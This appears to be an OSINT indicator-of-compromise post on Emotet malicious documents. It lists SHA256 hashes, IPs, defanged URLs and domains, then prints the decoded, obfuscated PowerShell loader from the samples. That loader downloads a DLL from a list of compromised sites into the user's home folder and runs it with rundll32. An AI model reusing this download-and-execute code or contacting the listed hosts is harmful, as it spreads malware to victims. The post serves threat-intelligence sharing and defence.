#Emotet #Docs #malware #OSINT #IOC

SHA256:
01bce41750258f3d232b9eb7fe7901a88167254f0fe956f557bb33aced7cfec5
f6e3ab2fb75c4dad953b4eabf8acdbdf4a8a40840e32e3f178fc2b044b27dec4
001e1ea7ab07c91d781f5c51cd2039efc3acaf9f3a7b4bad38979ad48ad2119c
59a5bd5a89cb04636e5146b6637154636d8e608014dba50b76e584d9dbfeebee
d5791f6ad240efa0352be66ee78df171c2a197ddcea9ad71690dddf695ca7bb5
d5791f6ad240efa0352be66ee78df171c2a197ddcea9ad71690dddf695ca7bb5
91a7ce72ae73517cf823f4b6ff773ed980257153161d71111b095b9a5b56450d
91a7ce72ae73517cf823f4b6ff773ed980257153161d71111b095b9a5b56450d
68b0a5d69d06acfc3fb06c2d353f13aaf622fb06c01618c3f319e799fc54cf94
68b0a5d69d06acfc3fb06c2d353f13aaf622fb06c01618c3f319e799fc54cf94
5a4272405ec5815ec5ce110738678a0209b357093fdcfb9eb643570cd07cb7b9
5a4272405ec5815ec5ce110738678a0209b357093fdcfb9eb643570cd07cb7b9
5da372ca83b0549c90f08b2ba6ed5648febaddde7c975ed1e984755f0e9810d2
50427b012e3fc35f90d9473514320fce89169d4734d1d7fe25f968f76f3190c7
d3d9fc2d3491815fa83fabc32f536dccf14350291f93f8291f6b86274f49755c
e4427b8895f8ca8b41f5612c07905088c64d16fff99c38b49e50c33d20fe9537
fd2e05bcdf24d8e1ee1483b95a4dfb9424eb50f6588040ac6c98145eacbadc80
1820b988c13ef1a079fee2be0e5e8dd487e4780889fee3217ee772eea378e9ab
d3ff510e09e16dca935615edbfc3ae207bfa6151db5a2600a46553a848f5d59b
d3ff510e09e16dca935615edbfc3ae207bfa6151db5a2600a46553a848f5d59b
e4e839fc6e675fddabb7379eb120dbfcf806e83bbb109f762f1eab7aaf44b36e
a8713fbee086f687f8bd38ea51497a24ef912675ebdd1738a8d2190f980d6b57
d2129d3f6656065ebb9e44876adb0e285f9a575ebec8f44cd1fca68b92d4e69c
4ec6bb0b2ce1529a04163cb7987c3a252b4b942cf820aa976d0e2ffe95e84344
b7ab6e42f85864cffbabbd1238bb6ec2054478a1b89e8cf59d519bc07f6ac543
888776cebb09cc8d90c901e5d554ad1e10b89a06a5825dead7e08dab23fb7491
1773a8c5d6382649ab2e7e2112e57bdda624b24119e1ada51954b38032a25554
8244590faad750ada6f77a0967d82df9343e6e5df6882ec4926f1024d041c2d9
628462affd2e722a5b52ab468ef3bf9ce645c9cb8758205805d36d24e1de9a65
ab56a195c1632fff8ba092e7dc73858048b1fc67e6242ecc2c78612ae3e224af
74e13fc7a5f9b1cf0480e925f0e2274991fef4b53dd6ab413f42a006599edb97
4e30a0c0d464a13919be9367c51ec2d36f2972e27861997410add5b113bceaba
a03c9dc5727fee3968f4d2d8352258cfc56840dd972680704075d574c12dad5e
3e06dc8c8f2f5e98592e30b5274a5ebb10d1731511a9b4813bed1591f2cbf8bd
7818048f71472592ea73e8b56d12c02b7a1699616eeea4f7ff0adf94958586ad
45092ba44beabdd777eed53aaa943751979444cea7c8a90369647ea9a4a60578
ee8bc000ee93b9fe36a73a563427f5e809bfe50e843d0cca24dee394dba1d5c1
0d2300b21335b3970387211b786e26ea564160d0c1e12fa35df520811e33455b
2e66503e2edb07cdabb8f6c6dd6baf6ac5ec53c540b6808a7cc8b593d139a2a7
5cdeb766f37fabf36c2ba04b505360b64db16bba5291a143a43a631460461122


IPs:
104.248.239.10
104.27.134.101
104.27.135.101
104.31.64.148
104.31.65.148
109.203.103.140
149.255.62.16
167.99.163.124
172.67.188.124
172.67.201.73
173.254.250.226
186.64.117.145
191.6.212.159
202.67.13.163
31.22.4.141
40.119.6.228
72.167.241.46
90.160.138.175



URLs:
hxxps://fathekarim.com/images/jiC/
hxxps://trumpcommunity.com/usa-no-uykjh/wcS/
hxxps://comunicacaovertical.com.br/agencia/D0sJl/
hxxp://datawyse.net/5VGI0/
hxxp://transfersuvan.com/wp-admin/1114R/
hxxp://upafrique.com/cgi-bin/iFmg/
hxxps://radioclype.scola.ac-paris.fr/wp-admin/js/widgets/6S/."rEpL`A`Ce"hxxp,[array]sd,sw,hxxp,3d[1]."SPl`iT"$K_6H  $Oix5v32  $V14L;
hxxps://astrologiaexistencial.com/l/4bm8/
hxxp://www.dirgantaratuba.com/cgi-bin/PX4K/
hxxps://unimedunihealth.com/wp-includes/E/
hxxps://mirvalgroup.com/wp-includes/FOeYo/
hxxps://wp.gensoukyou.org/souzinv_old/1a/
hxxp://mail.ninosindigochile.cl/1989-gmc-oq21w/ZVTCY/
hxxps://walkerswebshop.com/images/O7/."RE`plaCe"hxxp,[array]sd,sw,hxxp,3d[1]."Sp`lIT"$C55U  $X8auo0g  $H14K;


Domains:
fathekarim.com
trumpcommunity.com
comunicacaovertical.com.br
datawyse.net
transfersuvan.com
upafrique.com
radioclype.scola.ac-paris.fr
astrologiaexistencial.com
www.dirgantaratuba.com
unimedunihealth.com
mirvalgroup.com
wp.gensoukyou.org
mail.ninosindigochile.cl
walkerswebshop.com


Decoded Base64 Powershell:
1éî>Œ­^–>Œ­^–<ì®È^,†]z  set-ITEm  vARiAblE:CgIja  [tYpe]"{1}{0}{3}{2}"-f tE,sys,iO.dIreCTorY,m.  ;
$7jaD=  [TypE]"{2}{3}{0}{4}{6}{1}{5}" -fc,nTManAge,sySTE,M.neT.sERvI,ePo,R,I;
  $ErrorActionPreference = SilentlyContinue;
$Oix5v32=$H73M  [char]64  $F22I;
$I59W=J49Z;
 $CGIjA::"CREA`Te`DiRe`CTORY"$HOME  SInShfku8tSInWnwspx3SIn -CReplACE SIn,[CHAR]92;
$Q5_Z=T19M;
  Get-vARIAblE 7JAd  -vaLUEonL ::"sECur`iT`Yp`RotocoL" = Tls12;
$T_6H=A74J;
$Xih8ddp = A1_H;
$C81T=D88C;
$De8163y=$HOMEx31Shfku8tx31Wnwspx3x31 -crePLAce [CHAr]120[CHAr]51[CHAr]49,[CHAr]92$Xih8ddp.dll;
$X73U=E57K;
$D9dez_d=hxxps://fathekarim.com/images/jiC/
hxxps://trumpcommunity.com/usa-no-uykjh/wcS/
hxxps://comunicacaovertical.com.br/agencia/D0sJl/
hxxp://datawyse.net/5VGI0/
hxxp://transfersuvan.com/wp-admin/1114R/
hxxp://upafrique.com/cgi-bin/iFmg/
hxxps://radioclype.scola.ac-paris.fr/wp-admin/js/widgets/6S/."rEpL`A`Ce"hxxp,[array]sd,sw,hxxp,3d[1]."SPl`iT"$K_6H  $Oix5v32  $V14L;
$P58K=B1_H;
foreach $F2q6yoz in $D9dez_d{try{.New-Object systEM.nEt.WeBclIeNT."DoWnl`Oa`d`FILE"$F2q6yoz, $De8163y;
$C35O=K46J;
If .Get-Item $De8163y."lE`Ngth" -ge 37293 {.rundll32 $De8163y,Control_RunDLL."TO`sTr`InG";
$K79E=G82K;
break;
$I35D=Y03Z}}catch{}}$L48L=O_7E<ì®È^,†]z$7CRqx= [TyPe]"{3}{1}{2}{0}{4}" -F IreCTo,ystEM.,iO.D,S,ry  ;
 sEt-ItEM variABlE:ocSx  [TyPE]"{3}{6}{4}{7}{0}{5}{1}{2}"-fM,N,aGEr,SysTem.nET.serViCePO,N,A,i,T;
  $ErrorActionPreference = SilentlyContinue;
$X8auo0g=$F60S  [char]64  $P_2R;
$P85D=K64S;
 vARiAblE 7CrQX -vAlUeONl  ::"creAT`Ed`irE`CT`ORY"$HOME  1nNX2_z93q1nNK2e2aqx1nN."r`EplA`Ce"1nN,[strIng][ChAr]92;
$V26H=Q17N;
  $OcSx::"SE`cuRI`TyPRoTOC`oL" = Tls12;
$L63A=W16B;
$B_nqmyx = V0_M;
$T44L=F88S;
$J11xz63=$HOME70GX2_z93q70GK2e2aqx70G."REP`LAcE"[ChAR]55[ChAR]48[ChAR]71,[STRiNg][ChAR]92$B_nqmyx.dll;
$D17E=O47V;
$Wa99zyb=hxxps://astrologiaexistencial.com/l/4bm8/
hxxp://www.dirgantaratuba.com/cgi-bin/PX4K/
hxxps://unimedunihealth.com/wp-includes/E/
hxxps://mirvalgroup.com/wp-includes/FOeYo/
hxxps://wp.gensoukyou.org/souzinv_old/1a/
hxxp://mail.ninosindigochile.cl/1989-gmc-oq21w/ZVTCY/
hxxps://walkerswebshop.com/images/O7/."RE`plaCe"hxxp,[array]sd,sw,hxxp,3d[1]."Sp`lIT"$C55U  $X8auo0g  $H14K;
$Z21C=I92U;
foreach $Ul8sxp1 in $Wa99zyb{try{&New-Object sYSTem.Net.WebCliENT."dOWnLOAD`Fi`LE"$Ul8sxp1, $J11xz63;
$U97V=W64L;
If .Get-Item $J11xz63."Le`NGtH" -ge 44882 {&rundll32 $J11xz63,Control_RunDLL."t`ostR`inG";
$G36B=Y6_L;
break;
$K47E=Z65I}}catch{}}$E92G=W77O¡¡¡¡¡¡¡¦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–¦ºz˦Œ®È^–